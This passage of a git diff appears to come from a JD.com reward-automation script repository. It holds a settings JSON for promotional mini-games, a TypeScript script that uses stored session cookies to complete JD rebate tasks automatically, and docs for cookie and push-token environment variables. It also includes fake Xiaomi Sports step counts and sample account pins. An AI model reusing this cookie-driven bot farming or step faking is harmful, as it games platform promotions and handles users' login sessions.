"京东账号昵称,用于区分自己的京东账号(非必填,建议多个京东账号使用)" + }, + { + "id": "jd_joy_invite_pin", + "name": "账号一邀请助力friendPin名单", + "val": "", + "type": "text", + "desc": "多个账号使用英文逗号','隔开,最多3个" + }, + { + "id": "jd_joy_run_pin", + "name": "账号一赛跑助力friendPin名单", + "val": "", + "type": "text", + "desc": "多个账号使用英文逗号','隔开,最多6个" + }, + { + "id": "jd2_joy_run_name", + "name": "京东账号二昵称", + "val": "", + "type": "text", + "desc": "京东账号昵称,用于区分自己的京东账号(非必填,建议多个京东账号使用)" + }, + { + "id": "jd2_joy_invite_pin", + "name": "账号二邀请助力friendPin名单", + "val": "jd_6cd93e613b0e5,被折叠的记忆33", + "type": "text", + "desc": "多个账号使用英文逗号','隔开,最多3个" + }, + { + "id": "jd2_joy_run_pin", + "name": "账号二赛跑助力friendPin名单", + "val": "jd_6cd93e613b0e5,被折叠的记忆33", + "type": "text", + "desc": "多个账号使用英文逗号','隔开,最多6个" + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jdcww_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png" + ] + }, + { + "id": "jd_MoneyTree", + "name": "京东摇钱树", + "keys": [], + "settings": [ + { + "id": "jdMoneyTreeNotify", + "name": "静默运行", + "val": true, + "type": "boolean", + "desc": "运行京东摇钱树脚本时不发出系统弹窗通知" + }, + { + "id": "MONEY_TREE_SELL_FRUIT", + "name": "是否卖出金果获得金币", + "val": true, + "type": "boolean", + "desc": "是否卖出金果获得金币,金币具有有效期,默认卖出" + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jdyqs_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jdyqs.png" + ] + }, + { + "id": "jd_Speed", + "name": "京东天天加速", + "keys": [], + "settings": [ + { + "id": "jdSpeedNotify", + "name": "静默运行", + "val": true, + "type": "boolean", + "desc": "运行京东天天加速脚本时不发出系统弹窗通知" + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jdjs_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jdjs.png" + ] + }, + { + "id": "jdUnsubscribe", + "name": "取关京东店铺和商品", + "keys": [ + "jdUnsubscribeStopGoods", + "jdUnsubscribeStopShop" + ], + "settings": [ + { + "id": "jdUnsubscribeNotify", + "name": "静默运行", + "val": false, + "type": "boolean", + "desc": "运行脚本时不发出系统弹窗通知" + }, + { + "id": "jdUnsubscribePageSize", + "name": "取消已关注商品的数量", + "val": 10, + "type": "number", + "desc": "运行一次脚本取消多少个已关注的商品(默认10个,输入0表示不取关)" + }, + { + "id": "jdUnsubscribeShopPageSize", + "name": "取消已关注店铺的数量", + "val": 10, + "type": "number", + "desc": "运行一次脚本取消多少个已关注的店铺(默认10个,输入0表示不取关)" + }, + { + "id": "jdUnsubscribeStopGoods", + "name": "遇到此商品不再进行取关", + "val": "", + "type": "text", + "desc": "匹配到此处商品后面(包括此商品)不再进行取关(此处内容需去商品详情页长按(自营处)文字拷贝商品信息)" + }, + { + "id": "jdUnsubscribeStopShop", + "name": "遇到此店铺不再进行取关", + "val": "", + "type": "text", + "desc": "匹配到此处店铺后面(包括此店铺)的不再进行取关(此处内容请尽量从头开始输入店铺名称)" + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/Orz-3/mini/master/Alpha/jd.png", + "https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png" + ] + }, + { + "id": "jd_SuperMarket", + "name": "东东超市", + "keys": [], + "settings": [ + { + "id": "jdSuperMarketNotify", + "name": "静默运行", + "val": true, + "type": "boolean", + "desc": "运行此脚本时不发出系统弹窗通知" + }, + { + "id": "JOIN_PK_TEAM", + "name": "自动参加作者PK队伍", + "val": true, + "type": "boolean", + "desc": "每次pk活动自动参加作者PK队伍,默认参加" + }, + { + "id": "jdSuperMarketLottery", + "name": "抽奖(招财进宝)", + "val": false, + "type": "boolean", + "desc": "运行脚本消耗金币进行抽奖,默认抽奖" + } + ], + "author": "", + "repo": "", + "scripts":[ + { + "name" : "东东超市", + "script" : "" + } + ], + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jxc_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jxc.png" + ] + }, + { + "id": "jd_SuperMarket_Reawrd", + "name": "东东超市兑换奖品", + "keys": [ + "coinToBeans" + ], + "desc": "默认不兑换奖品,例如:兑换20京豆输入20,兑换1000京豆输入1000,兑换 柠檬果香洗手液, 输入 柠檬果香洗手液。其他详细的奖品名称去东东超市活动页面查看", + "settings": [ + { + "id": "jdSuperMarketRewardNotify", + "name": "静默运行", + "val": false, + "type": "boolean", + "desc": "开启后成功兑换到奖品不发出系统弹窗通知" + }, + { + "id": "coinToBeans", + "name": "兑换奖品(默认不兑换)", + "val": "0", + "type": "text", + "desc": "输入兑换奖品名称(默认不兑换奖品)" + } + ], + "author": "", + "repo": "", + "scripts": [ + { + "name" : "东东超市兑换奖品", + "script" : "" + } + ], + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jxc_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jxc.png" + ] + }, + { + "id": "xmSports", + "name": "小米运动", + "keys": [ + "xmSportsToken", + "xmMinStep", + "xmMaxStep" + ], + "settings": [ + { + "id": "xmSportsToken", + "name": "小米运动Token", + "val": "", + "type": "text", + "desc": "小米运动登录时获取的token" + }, + { + "id": "xmMinStep", + "name": "最小运动步数", + "val": "19000", + "type": "text", + "desc": "需要修改最小的运动步数的数字,例如:19000" + }, + { + "id": "xmMaxStep", + "name": "最大运动步数", + "val": "25000", + "type": "text", + "desc": "需要修改最小的运动步数的数字,例如:25000" + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/xmyd_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/xmyd.png" + ] + }, + { + "id": "lxk_jdfactory", + "name": "东东工厂", + "keys": [ + "FACTORAY_WANTPRODUCT_NAME" + ], + "settings": [ + { + "id": "FACTORAY_WANTPRODUCT_NAME", + "name": "心仪商品名称", + "val": "", + "type": "text", + "desc": "请尽量填写完整和别的商品有区分度" + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jd_factory_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png" + ] + }, + { + "id": "jd_dreamFactory", + "name": "京喜工厂", + "keys": ["jd_jxFactory", "tuanActiveId"], + "descs_html": [ + "请在输入框输入跟你互助的京喜工厂的好友互助码", + "同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开。例:
账号1-好友1邀请码@账号1邀请码-好友2邀请码

账号2-好友1邀请码@账号2-好友2邀请码", + "下方输入框给出一个示例,自己使用时删除示例邀请码然后按示例填写(只填邀请码)即可" + ], + "settings": [ + { + "id": "jd_jxFactory", + "name": "京喜工厂好友邀请码 列表", + "val": "", + "placeholder": "账号1的好友1邀请码@账号1的好友2邀请码\n\n账号2的好友1邀请码@账号2的好友2邀请码", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "京喜工厂邀请码,同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开" + }, + { + "id": "tuanActiveId", + "name": "京喜工厂拼团瓜分电力活动团ID", + "val": "", + "type": "text", + "desc": "默认读取作者设置,如出现脚本提示开团失败:`活动已结束,请稍后再试~`,可自行抓包替换(开启抓包,进入拼团瓜分电力页面,寻找带有`tuan`的链接里面的`activeId=`" + } + ], + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jdgc_mini.png", + "https://github.com/58xinian/icon/raw/master/jdgc.png" + ], + "author": "", + "repo": "", + "script": "" + }, + { + "id": "jd_jxCFD_invites", + "name": "京喜财富岛", + "keys": ["jd_jxCFD"], + "descs_html": [ + "请在输入框输入跟你互助的京喜财富岛的好友互助码", + "同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开。例:
账号1-好友1邀请码@账号1邀请码-好友2邀请码

账号2-好友1邀请码@账号2-好友2邀请码", + "下方输入框给出一个示例,自己使用时删除示例邀请码然后按示例填写(只填邀请码)即可" + ], + "settings": [ + { + "id": "jd_jxCFD", + "name": "京喜财富岛好友邀请码 列表", + "val": "", + "placeholder": "账号1的好友1邀请码@账号1的好友2邀请码\n\n账号2的好友1邀请码@账号2的好友2邀请码", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "京喜财富岛邀请码,同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开" + } + ], + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jxcfd_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png" + ], + "author": "", + "repo": "", + "script": "" + }, + { + "id": "jd_cash", + "name": "签到领现金", + "keys": ["jd_cash_invite"], + "descs_html": [ + "请在输入框输入跟你互助的签到领现金的好友互助码", + "同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开。例:
账号1-好友1邀请码@账号1邀请码-好友2邀请码

账号2-好友1邀请码@账号2-好友2邀请码", + "下方输入框给出一个示例,自己使用时删除示例邀请码然后按示例填写(只填邀请码)即可" + ], + "settings": [ + { + "id": "cash_exchange", + "name": "是否消耗红包兑换京豆", + "val": false, + "type": "boolean", + "desc": "是否消耗2元红包兑换200京豆,一周可换四次,默认否" + }, + { + "id": "jd_cash_invite", + "name": "签到领现金好友邀请码 列表", + "val": "", + "placeholder": "账号1的好友1邀请码@账号1的好友2邀请码\n\n账号2的好友1邀请码@账号2的好友2邀请码", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "签到领现金邀请码,同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开" + } + ], + "icons": [ + "https://raw.githubusercontent.com/Orz-3/mini/master/Alpha/jd.png", + "https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png" + ], + "author": "", + "repo": "", + "script": "" + }, + { + "id": "jd_jxd", + "name": "京小兑", + "keys": [], + "settings": [ + { + "id": "jdJxdExchange", + "name": "自动把抽奖卷兑换为兑币", + "val": false, + "type": "boolean", + "desc": "自动把抽奖卷兑换为兑币,默认关闭" + } + ], + "author": "", + "repo": "", + "scripts":[ + { + "name" : "京小兑", + "script" : "" + } + ], + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jd_jxd_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jd_jxd.png" + ] + }, + { + "id": "jd_EsportsManager", + "name": "东东电竞经理", + "keys": [ + "jd_EsportsManager_Bearer" + ], + "descs_html": [ + "请在输入框输入东东电竞Bearer" + ], + "settings": [ + { + "id": "jd_EsportsManager_Bearer", + "name": "东东电竞Bearer", + "val": "", + "placeholder": "Bearer XXX", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "使用东东电竞CK脚本会自动填写" + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/JDHelloWorld/jd_scripts_demo/main/jd_EsportsManager.png", + "https://raw.githubusercontent.com/JDHelloWorld/jd_scripts_demo/main/jd_EsportsManager.png" + ] + } + ] +} diff --git a/fanli.ts b/fanli.ts new file mode 100644 index 0000000000..5c4c93d93e --- /dev/null +++ b/fanli.ts @@ -0,0 +1,62 @@ +import axios from 'axios' +import USER_AGENT, {requireConfig, wait, o2s} from './TS_USER_AGENTS' + + +let cookie: string = '', res: any = '', UserName: string, index: number + +!(async () => { + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + res = await api('getTaskFinishCount') + await wait(1000) + let finishCount: number = res.content.finishCount, maxTaskCount: number = res.content.maxTaskCount + console.log(finishCount, '/', maxTaskCount) + + for (let j = 0; j < maxTaskCount - finishCount; j++) { + let tasks: any = await api('getTaskList') + await wait(1000) + for (let t of tasks.content) { + if (t.status !== 2) { + res = await taskApi('saveTaskRecord', {"taskId": t.taskId, "taskType": t.taskType}) + o2s(res) + await wait(t.watchTime * 1000 + 500) + res = await taskApi('saveTaskRecord', {"taskId": t.taskId, "taskType": t.taskType, uid: res.content.uid, tt: res.content.tt}) + o2s(res) + await wait(2000) + } + } + } + break + } +})() + +async function api(fn: string) { + let {data} = await axios.get(`https://ifanli.m.jd.com/rebateapi/task/${fn}`, { + headers: { + "Host": "ifanli.m.jd.com", + "User-Agent": USER_AGENT, + "Referer": "https://ifanli.m.jd.com/rebate/earnBean.html?paltform=null", + "Cookie": cookie, + "Content-Type": "application/json;charset=UTF-8" + } + }) + return data +} + +async function taskApi(fn: string, body: object) { + let {data} = await axios.post(`https://ifanli.m.jd.com/rebateapi/task/${fn}`, JSON.stringify(body), { + headers: { + "Host": "ifanli.m.jd.com", + "User-Agent": USER_AGENT, + "Referer": "https://ifanli.m.jd.com/rebate/earnBean.html?paltform=null", + "Cookie": cookie, + "Content-Type": "application/json;charset=UTF-8" + } + }) + return data +} \ No newline at end of file diff --git a/githubAction.md b/githubAction.md new file mode 100644 index 0000000000..7e3638321f --- /dev/null +++ b/githubAction.md @@ -0,0 +1,136 @@ +## 环境变量说明 + +##### 京东(必须) + +| Name | 归属 | 属性 | 说明 | +| :---------: | :--: | ---- | ------------------------------------------------------------ | +| `JD_COOKIE` | 京东 | 必须 | 京东cookie,多个账号的cookie使用`&`隔开,例:`pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;`。具体获取参考[浏览器获取京东cookie教程](./backUp/GetJdCookie.md) 或者 [插件获取京东cookie教程](./backUp/GetJdCookie2.md) | + +##### 京东隐私安全 环境变量 + +| Name | 归属 | 属性 | 默认值 | 说明 | +| :-------------: | :---------: | :----: | :----: | ------------------------------------------------------------ | +| `JD_DEBUG` | 脚本打印log | 非必须 | true | 运行脚本时,是否显示log,默认显示。改成false表示不显示,注重隐私的人可以设置 JD_DEBUG 为false | +| `JD_USER_AGENT` | 京东 | 非必须 | | 自定义此库里京东系列脚本的UserAgent,不懂不知不会UserAgent的请不要随意填写内容。如需使用此功能建议填写京东APP的UA | + +##### 推送通知环境变量(目前提供`微信server酱`、`pushplus(推送加)`、`iOS Bark APP`、`telegram机器人`、`钉钉机器人`、`企业微信机器人`、`iGot`、`企业微信应用消息`等通知方式) + +| Name | 归属 | 属性 | 说明 | +| :---------------: | :----------------------------------------------------------: | :----: | ------------------------------------------------------------ | +| `PUSH_KEY` | 微信server酱推送 | 非必须 | server酱的微信通知[官方文档](http://sc.ftqq.com/3.version),已兼容 [Server酱·Turbo版](https://sct.ftqq.com/) | +| `BARK_PUSH` | [BARK推送](https://apps.apple.com/us/app/bark-customed-notifications/id1403753865) | 非必须 | IOS用户下载BARK这个APP,填写内容是app提供的`设备码`,例如:https://api.day.app/123 ,那么此处的设备码就是`123`,再不懂看 [这个图](icon/bark.jpg)(注:支持自建填完整链接即可) | +| `BARK_SOUND` | [BARK推送](https://apps.apple.com/us/app/bark-customed-notifications/id1403753865) | 非必须 | bark推送声音设置,例如`choo`,具体值请在`bark`-`推送铃声`-`查看所有铃声` | +| `BARK_GROUP` | [BARK推送](https://apps.apple.com/us/app/bark-customed-notifications/id1403753865) | 非必须 | bark推送消息分组,默认`JDHelloWorld`,推送成功后可以在`bark`-`历史消息`-`右上角文件夹图标查看` | +| `TG_BOT_TOKEN` | telegram推送 | 非必须 | tg推送(需设备可连接外网),`TG_BOT_TOKEN`和`TG_USER_ID`两者必需,填写自己申请[@BotFather](https://t.me/BotFather)的Token,如`10xxx4:AAFcqxxxxgER5uw` , [具体教程](./backUp/TG_PUSH.md) | +| `TG_USER_ID` | telegram推送 | 非必须 | tg推送(需设备可连接外网),`TG_BOT_TOKEN`和`TG_USER_ID`两者必需,填写[@getuseridbot](https://t.me/getuseridbot)中获取到的纯数字ID, [具体教程](./backUp/TG_PUSH.md) | +| `DD_BOT_TOKEN` | 钉钉推送 | 非必须 | 钉钉推送(`DD_BOT_TOKEN`和`DD_BOT_SECRET`两者必需)[官方文档](https://developers.dingtalk.com/document/app/custom-robot-access) ,只需`https://oapi.dingtalk.com/robot/send?access_token=XXX` 等于`=`符号后面的XXX即可 | +| `DD_BOT_SECRET` | 钉钉推送 | 非必须 | (`DD_BOT_TOKEN`和`DD_BOT_SECRET`两者必需) ,密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的`SECXXXXXXXXXX`等字符 , 注:钉钉机器人安全设置只需勾选`加签`即可,其他选项不要勾选,再不懂看 [这个图](icon/DD_bot.png) | +| `QYWX_KEY` | 企业微信机器人推送 | 非必须 | 密钥,企业微信推送 webhook 后面的 key [详见官方说明文档](https://work.weixin.qq.com/api/doc/90000/90136/91770) | +| `QYWX_AM` | 企业微信应用消息推送 | 非必须 | corpid,corpsecret,touser,agentid,素材库图片id [参考文档1](http://note.youdao.com/s/HMiudGkb) [参考文档2](http://note.youdao.com/noteshare?id=1a0c8aff284ad28cbd011b29b3ad0191)
素材库图片填0为图文消息, 填1为纯文本消息 | +| `IGOT_PUSH_KEY` | iGot推送 | 非必须 | iGot聚合推送,支持多方式推送,确保消息可达。 [参考文档](https://wahao.github.io/Bark-MP-helper ) | +| `PUSH_PLUS_TOKEN` | pushplus推送 | 非必须 | 微信扫码登录后一对一推送或一对多推送下面的token(您的Token) [官方网站](http://www.pushplus.plus/) | +| `PUSH_PLUS_USER` | pushplus推送 | 非必须 | 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码)注:(1、需订阅者扫描二维码 2、如果您是创建群组所属人,也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送),只填`PUSH_PLUS_TOKEN`默认为一对一推送 | +| `TG_PROXY_HOST` | Telegram 代理的 IP | 非必须 | 代理类型为 http。例子:http代理 http://127.0.0.1:1080 则填写 127.0.0.1 | +| `TG_PROXY_PORT` | Telegram 代理的端口 | 非必须 | 例子:http代理 http://127.0.0.1:1080 则填写 1080 | +| `TG_PROXY_AUTH` | Telegram 代理的认证参数 | 非必须 | 代理的认证参数 | +| `TG_API_HOST` | Telegram api自建的反向代理地址 | 非必须 | 例子:反向代理地址 http://aaa.bbb.ccc 则填写 aaa.bbb.ccc [简略搭建教程](https://shimo.im/docs/JD38CJDQtYy3yTd8/read) | + + +##### 互助码类环境变量 + +| Name | 归属 | 属性 | 需要助力次数/可提供助力次数 | 说明 | +| :-------------------------: | :----------------: | :----: | :-----------------------: | ------------------------------------------------------------ | +| `FRUITSHARECODES` | 东东农场
互助码 | 非必须 | 5/3 | 填写规则请看[jdFruitShareCodes.js](./jdFruitShareCodes.js)或见下方[互助码的填写规则](#互助码的填写规则) | +| `PETSHARECODES` | 东东萌宠
互助码 | 非必须 | 5/5 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `PLANT_BEAN_SHARECODES` | 种豆得豆
互助码 | 非必须 | 9/3 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `DDFACTORY_SHARECODES` | 东东工厂
互助码 | 非必须 | 5/3 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `DREAM_FACTORY_SHARE_CODES` | 京喜工厂
互助码 | 非必须 | 不固定/3 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDZZ_SHARECODES` | 京东赚赚
互助码 | 非必须 | 5/2 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDJOY_SHARECODES` | 疯狂的JOY
互助码 | 非必须 | 6/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `BOOKSHOP_SHARECODES` | 京东书店
互助码 | 非必须 | 10/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JD_CASH_SHARECODES` | 签到领现金
互助码 | 非必须 | 10/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDSGMH_SHARECODES` | 闪购盲盒
互助码 | 非必须 | 10/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDCFD_SHARECODES` | 京喜财富岛
互助码 | 非必须 | 未知/未知 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDHEALTH_SHARECODES` | 东东健康社区
互助码 | 非必须 | 未知/未知 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `CITY_SHARECODES` | 城城领现金
互助码 | 非必须 | 未知/未知 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | + +##### 控制脚本功能环境变量 + + +| Name | 归属 | 属性 | 说明 | +| :--------------------------: | :--------------------------: | :----: | ------------------------------------------------------------ | +| `JD_BEAN_STOP` | 京东多合一签到 | 非必须 | `jd_bean_sign.js`自定义延迟签到,单位毫秒.默认分批并发无延迟,
延迟作用于每个签到接口,如填入延迟则切换顺序签到(耗时较长),
如需填写建议输入数字`1`,详见[此处说明](https://github.com/NobyDa/Script/blob/master/JD-DailyBonus/JD_DailyBonus.js#L93) | +| `JD_BEAN_SIGN_STOP_NOTIFY` | 京东多合一签到 | 非必须 | `jd_bean_sign.js`脚本运行后不推送签到结果通知,默认推送,填`true`表示不发送通知 | +| `JD_BEAN_SIGN_NOTIFY_SIMPLE` | 京东多合一签到 | 非必须 | `jd_bean_sign.js`脚本运行后推送签到结果简洁版通知,
默认推送签到简洁结果,填`true`表示推送简洁通知,[效果图](./icon/bean_sign_simple.jpg) | +| `PET_NOTIFY_CONTROL` | 东东萌宠
推送开关 | 非必须 | 控制京东萌宠是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `FRUIT_NOTIFY_CONTROL` | 东东农场
推送开关 | 非必须 | 控制京东农场是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `CASH_NOTIFY_CONTROL` | 京东领现金
推送开关 | 非必须 | 控制京东领现金是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `CASH_EXCHANGE` | 京东领现金
红包兑换京豆开关 | 非必须 | 控制京东领现金是否把红包兑换成京豆,
`false`为否,`true`为是(即:花费2元红包兑换200京豆,一周可换四次),默认为`false` | +| `DDQ_NOTIFY_CONTROL` | 点点券
推送开关 | 非必须 | 控制点点券是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JDZZ_NOTIFY_CONTROL` | 京东赚赚小程序
推送开关 | 非必须 | 控制京东赚赚小程序是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `MONEYTREE_NOTIFY_CONTROL` | 京东摇钱树
推送开关 | 非必须 | 控制京东摇钱树兑换0.07金贴后是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JD_JOY_REWARD_NOTIFY` | 宠汪汪
兑换京豆推送开关 | 非必须 | 控制`jd_joy_reward.js`脚本是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JOY_FEED_COUNT` | 宠汪汪喂食数量 | 非必须 | 控制`jd_joy_feedPets.js`脚本喂食数量,可以填的数字0,10,20,40,80,其他数字不可. | +| `JOY_HELP_FEED` | 宠汪汪帮好友喂食 | 非必须 | 控制`jd_joy_steal.js`脚本是否给好友喂食,`false`为否,`true`为是(给好友喂食) | +| `JOY_RUN_FLAG` | 宠汪汪是否赛跑 | 非必须 | 控制`jd_joy.js`脚本是否参加赛跑(默认参加双人赛跑),
`false`为否,`true`为是,脚本默认是`true` | +| `JOY_TEAM_LEVEL` | 宠汪汪
参加什么级别的赛跑 | 非必须 | 控制`jd_joy.js`脚本参加几人的赛跑,可选数字为`2`,`10`,`50`,
其中2代表参加双人PK赛,10代表参加10人突围赛,
50代表参加50人挑战赛(注:此项功能在`JOY_RUN_FLAG`为true的时候才生效),
如若想设置不同账号参加不同类别的比赛则用&区分即可(如下三个账号:`2&10&50`) | +| `JOY_RUN_NOTIFY` | 宠汪汪
宠汪汪赛跑获胜后是否推送通知 | 非必须 | 控制`jd_joy.js`脚本宠汪汪赛跑获胜后是否推送通知,
`false`为否(不推送通知消息),`true`为是(即:发送推送通知消息)
| +| `JOY_RUN_HELP_MYSELF` | 宠汪汪
赛跑自己账号内部互助 | 非必须 | 输入`true`为开启内部互助 | +| `JD_JOY_REWARD_NAME` | 宠汪汪
积分兑换多少京豆 | 非必须 | 目前可填值为`20`或者`500`,脚本默认`0`,`0`表示不兑换京豆 | +| `JOY_RUN_TOKEN` | 宠汪汪
赛跑token | 非必须 | 需自行抓包,宠汪汪小程序获取token,点击`发现`或`我的`,寻找`^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=`获取token | +| `MARKET_COIN_TO_BEANS` | 东东超市
兑换京豆数量 | 非必须 | 控制`jd_blueCoin.js`兑换京豆数量,
可输入值为`20`或者`1000`的数字或者其他商品的名称,例如`碧浪洗衣凝珠` | +| `MARKET_REWARD_NOTIFY` | 东东超市
兑换奖品推送开关 | 非必须 | 控制`jd_blueCoin.js`兑换奖品成功后是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JOIN_PK_TEAM` | 东东超市
自动参加PK队伍 | 非必须 | 每次pk活动参加作者创建的pk队伍,`true`表示参加,`false`表示不参加 | +| `SUPERMARKET_LOTTERY` | 东东超市抽奖 | 非必须 | 每天运行脚本是否使用金币去抽奖,`true`表示抽奖,`false`表示不抽奖 | +| `FRUIT_BEAN_CARD` | 东东农场
使用水滴换豆卡 | 非必须 | 东东农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),
`true`表示换豆(不浇水),`false`表示不换豆(继续浇水),脚本默认是浇水 | +| `UN_SUBSCRIBES` | jd_unsubscribe.js | 非必须 | 共四个参数,换行隔开.四个参数分别表示
`是否取关全部商品(0表示一个都不)`,`是否取关全部店铺数(0表示一个都不)`,`遇到此商品不再进行取关`,`遇到此店铺不再进行取关`,[具体使用往下看](#取关店铺环境变量的说明) | +| `JDJOY_HELPSELF` | 疯狂的JOY
循环助力 | 非必须 | 疯狂的JOY循环助力,`true`表示循环助力,`false`表示不循环助力,默认不开启循环助力。 | +| `JDJOY_APPLYJDBEAN` | 疯狂的JOY
京豆兑换 | 非必须 | 疯狂的JOY京豆兑换,目前最小值为2000京豆(详情请查看活动页面-提现京豆),
默认数字`0`不开启京豆兑换。 | +| `BUY_JOY_LEVEL` | 疯狂的JOY
购买joy等级 | 非必须 | 疯狂的JOY自动购买什么等级的JOY | +| `MONEY_TREE_SELL_FRUIT` | 摇钱树
是否卖出金果 | 非必须 | 控制摇钱树脚本是否自动卖出金果兑换成金币,`true`卖出,`false`不卖出,默认`false` | +| `FACTORAY_WANTPRODUCT_NAME` | 东东工厂
心仪商品 | 非必须 | 提供心仪商品名称(请尽量填写完整和别的商品有区分度),达到条件后兑换,
如不提供则会兑换当前所选商品 | +| `DREAMFACTORY_FORBID_ACCOUNT`| 京喜工厂
控制哪个京东账号不运行此脚本 | 非必须 | 输入`1`代表第一个京东账号不运行,多个使用`&`连接,例:`1&3`代表账号1和账号3不运行京喜工厂脚本,注:输入`0`,代表全部账号不运行京喜工厂脚本 | +| `JDFACTORY_FORBID_ACCOUNT`| 东东工厂
控制哪个京东账号不运行此脚本 | 非必须 | 输入`1`代表第一个京东账号不运行,多个使用`&`连接,例:`1&3`代表账号1和账号3不运行东东工厂脚本,注:输入`0`,代表全部账号不运行东东工厂脚本 | +| `CFD_NOTIFY_CONTROL` | 京喜财富岛
控制是否运行脚本后通知 | 非必须 | 输入`true`为通知,不填则为不通知 | +| `JXNC_NOTIFY_LEVEL` | 京喜农场通知控制
推送开关,默认1 | 非必须 | 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子 | +| `PURCHASE_SHOPS` | 执行`jd_scripts`仓库的脚本是否做加物品至购物车任务。默认关闭不做加购物车任务 | 非必须 | 如需做此类型任务。请设置`true`,目前东东小窝(jd_small_home.js)脚本会有加购任务 | +| `TUAN_ACTIVEID` | 京喜工厂拼团瓜分电力活动的`activeId`
默认读取作者设置的 | 非必须 | 如出现脚本开团提示失败:`活动已结束,请稍后再试~`,可自行抓包替换(开启抓包,进入拼团瓜分电力页面,寻找带有`tuan`的链接里面的`activeId=`) | +| `HELP_AUTHOR` | 是否给作者助力 免费拿,极速版拆红包,省钱大赢家等活动.
